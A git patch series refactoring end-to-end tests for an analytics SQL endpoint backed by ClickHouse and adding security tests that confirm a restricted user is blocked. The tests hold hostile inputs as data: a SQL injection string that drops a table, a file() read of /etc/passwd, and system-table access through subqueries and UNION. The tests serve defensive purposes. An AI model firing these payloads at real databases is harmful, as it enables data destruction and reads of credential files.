-      if (key.match(/[a-z0-9][A-Z][a-z0-9]+/) && !key.includes("_") && !["newUser", "afterCallbackRedirectUrl"].includes(key)) {
+      if (key.match(/^[a-z0-9][A-Z][a-z0-9]+$/) && !key.includes("_") && !["newUser", "afterCallbackRedirectUrl"].includes(key)) {
         throw new StackAssertionError(`Object has camelCase key (expected snake_case): ${path}.${key}`);
       }
       if (["client_metadata", "server_metadata", "options_json", "credential", "authentication_response", "metadata"].includes(key)) continue;
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
index 518eedf667..8a09cc72dc 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
@@ -1,18 +1,22 @@
+import { deindent } from "@stackframe/stack-shared/dist/utils/strings";
 import { it } from "../../../../helpers";
-import { Auth, Project, niceBackendFetch } from "../../../backend-helpers";
+import { Project, niceBackendFetch } from "../../../backend-helpers";
 
-it("can execute a basic query with admin access", async ({ expect }) => {
+async function runQuery(body: { query: string, params?: Record<string, string>, timeout_ms?: number }) {
   await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
 
   const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
     method: "POST",
     accessType: "admin",
-    body: {
-      query: "SELECT 1 as value",
-    },
+    body,
   });
 
+  return response;
+}
+
+it("can execute a basic query with admin access", async ({ expect }) => {
+  const response = await runQuery({ query: "SELECT 1 as value" });
+
   expect(response).toMatchInlineSnapshot(`
     NiceResponse {
       "status": 200,
@@ -29,17 +33,10 @@ it("can execute a basic query with admin access", async ({ expect }) => {
 });
 
 it("can execute a query with parameters", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "SELECT {test_param:String} as value",
-      params: {
-        test_param: "hello world",
-      },
+  const response = await runQuery({
+    query: "SELECT {test_param:String} as value",
+    params: {
+      test_param: "hello world",
     },
   });
 
@@ -59,39 +56,28 @@ it("can execute a query with parameters", async ({ expect }) => {
 });
 
 it("can execute a query with custom timeout", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "SELECT 1 as value",
-      timeout_ms: 5000,
-    },
+  const response = await runQuery({
+    query: "SELECT 1 as value",
+    timeout_ms: 15000,
   });
 
-  expect(response.status).toBe(200);
-  expect(response.body).toMatchInlineSnapshot(`
-    {
-      "result": [{ "value": 1 }],
-      "stats": {
-        "cpu_time": <stripped field 'cpu_time'>,
-        "wall_clock_time": <stripped field 'wall_clock_time'>,
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [{ "value": 1 }],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
       },
+      "headers": Headers { <some fields may have been hidden> },
     }
   `);
 });
 
 it("validates required query field", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {},
-  });
+  const response = await runQuery({} as any);
 
   expect(response).toMatchInlineSnapshot(`
     NiceResponse {
@@ -118,16 +104,7 @@ it("validates required query field", async ({ expect }) => {
 });
 
 it("handles invalid SQL query", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "INVALID SQL QUERY",
-    },
-  });
+  const response = await runQuery({ query: "INVALID SQL QUERY" });
 
   expect(response.status).toBe(400);
   expect(response.body).toMatchInlineSnapshot(`
@@ -148,16 +125,7 @@ it("handles invalid SQL query", async ({ expect }) => {
 });
 
 it("can execute query returning multiple rows", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "SELECT arrayJoin([0, 1, 2]) AS number",
-    },
-  });
+  const response = await runQuery({ query: "SELECT arrayJoin([0, 1, 2]) AS number" });
 
   expect(response).toMatchInlineSnapshot(`
     NiceResponse {
@@ -179,18 +147,11 @@ it("can execute query returning multiple rows", async ({ expect }) => {
 });
 
 it("can execute query with multiple parameters", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "SELECT {param1:String} as col1, {param2:String} as col2",
-      params: {
-        param1: "value1",
-        param2: "value2",
-      },
+  const response = await runQuery({
+    query: "SELECT {param1:String} as col1, {param2:String} as col2",
+    params: {
+      param1: "value1",
+      param2: "value2",
     },
   });
 
@@ -215,39 +176,30 @@ it("can execute query with multiple parameters", async ({ expect }) => {
 });
 
 it("can execute query and hit custom timeout", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "SELECT sleep(3)",
-      timeout_ms: 100,
-    },
+  const response = await runQuery({
+    query: "SELECT sleep(3)",
+    timeout_ms: 1000,
   });
 
-  expect(response.status).toBe(400);
-  expect(response.headers).toMatchInlineSnapshot(`
-    Headers {
-      "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
-      <some fields may have been hidden>,
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Timeout exceeded: elapsed <stripped time> ms, maximum: 1000 ms. " },
+        "error": "The query failed to execute: Timeout exceeded: elapsed <stripped time> ms, maximum: 1000 ms. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
     }
   `);
-  expect(response.body.code).toBe("ANALYTICS_QUERY_ERROR");
-
 });
 
 it("sets SQL_project_id and SQL_branch_id settings in query", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "SELECT getSetting('SQL_project_id') AS project_id, getSetting('SQL_branch_id') AS branch_id;",
-    },
+  const response = await runQuery({
+    query: "SELECT getSetting('SQL_project_id') AS project_id, getSetting('SQL_branch_id') AS branch_id;",
   });
 
   expect(response).toMatchInlineSnapshot(`
@@ -272,15 +224,8 @@ it("sets SQL_project_id and SQL_branch_id settings in query", async ({ expect })
 
 
 it("does not allow CREATE TABLE", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "CREATE TABLE IF NOT EXISTS test_table (id UUID) ENGINE = MergeTree() ORDER BY id;",
-    },
+  const response = await runQuery({
+    query: "CREATE TABLE IF NOT EXISTS test_table (id UUID) ENGINE = MergeTree() ORDER BY id;",
   });
 
   expect(response).toMatchInlineSnapshot(`
@@ -301,16 +246,7 @@ it("does not allow CREATE TABLE", async ({ expect }) => {
 
 
 it("does not allow querying system tables", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "SELECT number FROM system.numbers LIMIT 1",
-    },
-  });
+  const response = await runQuery({ query: "SELECT number FROM system.numbers LIMIT 1" });
 
   expect(response).toMatchInlineSnapshot(`
     NiceResponse {
@@ -330,15 +266,8 @@ it("does not allow querying system tables", async ({ expect }) => {
 
 
 it("does not allow killing queries", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "KILL QUERY WHERE query_id = '00000000-0000-0000-0000-000000000000'",
-    },
+  const response = await runQuery({
+    query: "KILL QUERY WHERE query_id = '00000000-0000-0000-0000-000000000000'",
   });
 
   expect(response).toMatchInlineSnapshot(`
@@ -359,16 +288,7 @@ it("does not allow killing queries", async ({ expect }) => {
 
 
 it("does not allow INSERT statements", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: "INSERT INTO system.one (dummy) VALUES (0)",
-    },
-  });
+  const response = await runQuery({ query: "INSERT INTO system.one (dummy) VALUES (0)" });
 
   expect(response).toMatchInlineSnapshot(`
     NiceResponse {
@@ -388,17 +308,12 @@ it("does not allow INSERT statements", async ({ expect }) => {
 
 
 it("does not allow updating ClickHouse settings", async ({ expect }) => {
-  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
-  await Auth.Otp.signIn();
-
-  const response = await niceBackendFetch("/api/v1/internal/analytics/query", {
-    method: "POST",
-    accessType: "admin",
-    body: {
-      query: `SELECT *
-FROM events
-SETTINGS max_memory_usage = 10000000000;`,
-    },
+  const response = await runQuery({
+    query: deindent`
+      SELECT *
+      FROM events
+      SETTINGS max_memory_usage = 10000000000;
+    `,
   });
 
   expect(response).toMatchInlineSnapshot(`
@@ -416,3 +331,88 @@ SETTINGS max_memory_usage = 10000000000;`,
     }
   `);
 });
+
+it("has limited grants", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SHOW GRANTS",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [{ "GRANTS FORMAT JSONEachRow": "GRANT SELECT ON analytics.events TO limited_user" }],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
+it("can see only some tables", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT database, name FROM system.tables",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [
+          {
+            "database": "analytics",
+            "name": "events",
+          },
+        ],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
+it("can see only some tables", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT name FROM system.databases",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [{ "name": "analytics" }],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
+it("can read the current database", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT currentDatabase()",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [{ "currentDatabase()": "default" }],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
diff --git a/apps/e2e/tests/snapshot-serializer.ts b/apps/e2e/tests/snapshot-serializer.ts
index e10e2389ff..0ebec5616f 100644
--- a/apps/e2e/tests/snapshot-serializer.ts
+++ b/apps/e2e/tests/snapshot-serializer.ts
@@ -107,6 +107,7 @@ const stringRegexReplacements = [
   [/(\/integrations\/(neon|custom)\/oauth\/idp\/(interaction|auth)\/)[a-zA-Z0-9_-]+/gi, "$1<stripped $3 UID>"],
   [new RegExp(`localhost\:${getPortPrefix()}`, "gi"), "localhost:<$$NEXT_PUBLIC_STACK_PORT_PREFIX>"],
   [new RegExp(`localhost\%3A${getPortPrefix()}`, "gi"), "localhost%3A%3C%24NEXT_PUBLIC_STACK_PORT_PREFIX%3E"],
+  [/(Timeout exceeded: elapsed )[0-9.]+( ms)/gi, "$1<stripped time>$2"],
 ] as const;
 
 

From 11348837affc769231c3ff4b5363cf7a29468d45 Mon Sep 17 00:00:00 2001
From: Konstantin Wohlwend <n2d4xc@gmail.com>
Date: Thu, 18 Dec 2025 18:28:48 -0800
Subject: [PATCH 15/25] todos

---
 apps/backend/package.json                     |   1 +
 apps/backend/src/lib/clickhouse.tsx           |   2 +-
 apps/dev-launchpad/public/index.html          |   3 +-
 .../endpoints/api/v1/analytics-events.test.ts |   4 +-
 .../endpoints/api/v1/analytics-query.test.ts  | 811 +++++++++++++++++-
 package.json                                  |   1 +
 6 files changed, 811 insertions(+), 11 deletions(-)

diff --git a/apps/backend/package.json b/apps/backend/package.json
index 9f333f5da6..4c2a90223a 100644
--- a/apps/backend/package.json
+++ b/apps/backend/package.json
@@ -22,6 +22,7 @@
     "codegen:watch": "concurrently -n \"prisma,docs,route-info,migration-imports\" -k \"pnpm run codegen-prisma:watch\" \"pnpm run watch-docs\" \"pnpm run codegen-route-info:watch\" \"pnpm run generate-migration-imports:watch\"",
     "psql-inner": "psql $(echo $STACK_DATABASE_CONNECTION_STRING | sed 's/\\?.*$//')",
     "psql": "pnpm run with-env pnpm run psql-inner",
+    "clickhouse": "pnpm run with-env clickhouse-client --host localhost --port ${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}33 --user stackframe --password PASSWORD-PLACEHOLDER--9gKyMxJeMx",
     "prisma-studio": "pnpm run with-env prisma studio --port ${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}06 --browser none",
     "prisma": "pnpm run with-env prisma",
     "db:migration-gen": "pnpm run with-env tsx scripts/db-migrations.ts generate-migration-file",
diff --git a/apps/backend/src/lib/clickhouse.tsx b/apps/backend/src/lib/clickhouse.tsx
index e8bc4cc2a3..648f6d5cd1 100644
--- a/apps/backend/src/lib/clickhouse.tsx
+++ b/apps/backend/src/lib/clickhouse.tsx
@@ -54,7 +54,7 @@ export const getQueryTimingStats = async (client: ClickHouseClient, queryId: str
     wall_clock_time_ms: number,
   }>();
   if (stats.data.length !== 1) {
-    throw new StackAssertionError("Unexpected number of query log results", { data: stats.data });
+    throw new StackAssertionError(`Unexpected number of query log results: ${stats.data.length}`, { data: stats.data });
   }
   return stats.data[0];
 };
diff --git a/apps/dev-launchpad/public/index.html b/apps/dev-launchpad/public/index.html
index 2514126da5..49d75ba62f 100644
--- a/apps/dev-launchpad/public/index.html
+++ b/apps/dev-launchpad/public/index.html
@@ -129,6 +129,7 @@ <h2 style="margin-top: 64px;">Background services</h2>
         { suffix: "22", label: "Freestyle mock" },
         { suffix: "24", label: "LocalStack Gateway (AWS mock)" },
         { suffix: "25", label: "QStash mock" },
+        { suffix: "33", label: "ClickHouse native interface" },
         { range: ["50", "99"], label: "Reserved for LocalStack (external services)" },
       ];
 
@@ -309,7 +310,7 @@ <h2 style="margin-top: 64px;">Background services</h2>
           ],
         },
         {
-          name: "ClickHouse",
+          name: "ClickHouse HTTP",
           portSuffix: "33",
           description: [
             "ClickHouse",
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
index 3315294748..a454d3a68c 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
@@ -1,6 +1,6 @@
 import { wait } from "@stackframe/stack-shared/dist/utils/promises";
 import { it } from "../../../../helpers";
-import { Auth, Project, Team, backendContext, bumpEmailAddress, niceBackendFetch } from "../../../backend-helpers";
+import { Auth, Project, backendContext, bumpEmailAddress, niceBackendFetch } from "../../../backend-helpers";
 
 const queryEvents = async (params: {
   userId?: string,
@@ -12,7 +12,7 @@ const queryEvents = async (params: {
   body: {
     query: `
       SELECT event_type, project_id, branch_id, user_id, team_id
-      FROM events
+      FROM analytics.events
       WHERE 1
         ${params.userId ? "AND user_id = {user_id:String}" : ""}
         ${params.teamId ? "AND team_id = {team_id:String}" : ""}
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
index 8a09cc72dc..bc0ad253d5 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
@@ -233,8 +233,8 @@ it("does not allow CREATE TABLE", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TABLE ON analytics.test_table. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TABLE ON analytics.test_table. ",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TABLE ON default.test_table. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TABLE ON default.test_table. ",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -332,16 +332,86 @@ it("does not allow updating ClickHouse settings", async ({ expect }) => {
   `);
 });
 
+it("has a restricted user and roles", async ({ expect }) => {
+  const response = await runQuery({
+    query: deindent`
+      SELECT
+        currentUser()  AS user,
+        currentRoles() AS assigned_roles;
+    `,
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [
+          {
+            "assigned_roles": [],
+            "user": "limited_user",
+          },
+        ],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
 it("has limited grants", async ({ expect }) => {
   const response = await runQuery({
-    query: "SHOW GRANTS",
+    query: "SHOW GRANTS WITH IMPLICIT FINAL",
   });
 
   expect(response).toMatchInlineSnapshot(`
     NiceResponse {
       "status": 200,
       "body": {
-        "result": [{ "GRANTS FORMAT JSONEachRow": "GRANT SELECT ON analytics.events TO limited_user" }],
+        "result": [
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT TABLE ENGINE ON * TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON AzureBlobStorage FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON Distributed FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON File FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON HDFS FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON Hive FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON JDBC FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON Kafka FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON MongoDB FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON MySQL FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON NATS FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON ODBC FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON PostgreSQL FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON RabbitMQ FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON Redis FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON S3 FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON SQLite FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON URL FROM limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SHOW DATABASES ON analytics.* TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SHOW TABLES, SHOW COLUMNS, SELECT ON analytics.events TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.aggregate_function_combinators TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.collations TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.columns TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.contributors TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.current_roles TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.data_type_families TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.database_engines TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.databases TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.enabled_roles TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.formats TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.functions TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.licenses TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.one TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.privileges TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.quota_usage TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.settings TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.table_engines TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.table_functions TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.tables TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.time_zones TO limited_user" },
+        ],
         "stats": {
           "cpu_time": <stripped field 'cpu_time'>,
           "wall_clock_time": <stripped field 'wall_clock_time'>,
@@ -377,16 +447,41 @@ it("can see only some tables", async ({ expect }) => {
   `);
 });
 
-it("can see only some tables", async ({ expect }) => {
+it("can see tables, but only limited metadata", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM system.tables",
+  });
+
+  // NOTE: make sure the metadata below does not contain any information about other rows when you update this snapshot
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [
+          {
+            TODO: THIS SHOULD BE THE METADATA OF THE VIEW
+          },
+        ],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
+it("SHOW TABLES should be empty because current database is empty", async ({ expect }) => {
   const response = await runQuery({
-    query: "SELECT name FROM system.databases",
+    query: "SHOW TABLES",
   });
 
   expect(response).toMatchInlineSnapshot(`
     NiceResponse {
       "status": 200,
       "body": {
-        "result": [{ "name": "analytics" }],
+        "result": [],
         "stats": {
           "cpu_time": <stripped field 'cpu_time'>,
           "wall_clock_time": <stripped field 'wall_clock_time'>,
@@ -416,3 +511,705 @@ it("can read the current database", async ({ expect }) => {
     }
   `);
 });
+
+it("does not allow SQL injection via parameters", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT {injected:String} as value",
+    params: { injected: "'; DROP TABLE events; --" },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [{ "value": "'; DROP TABLE events; --" }],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
+it("does not allow overriding SQL_project_id setting", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM events SETTINGS SQL_project_id = 'other-project-id'",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Cannot modify 'SQL_project_id' setting in readonly mode. " },
+        "error": "The query failed to execute: Cannot modify 'SQL_project_id' setting in readonly mode. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow overriding SQL_branch_id setting", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM events SETTINGS SQL_branch_id = 'other-branch-id'",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Cannot modify 'SQL_branch_id' setting in readonly mode. " },
+        "error": "The query failed to execute: Cannot modify 'SQL_branch_id' setting in readonly mode. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow accessing system tables via subquery", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM analytics.events WHERE 1 = (SELECT count() FROM system.users)",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT for at least one column on system.users. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT for at least one column on system.users. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow UNION to access restricted data", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT 1 as value UNION ALL SELECT number FROM system.numbers LIMIT 1",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(number) ON system.numbers. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(number) ON system.numbers. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow file system access via file() function", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM file('/etc/passwd', 'CSV', 'line String')",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON FILE. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON FILE. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow network access via url() function", async ({ expect }) => {
+  const response = await runQuery({
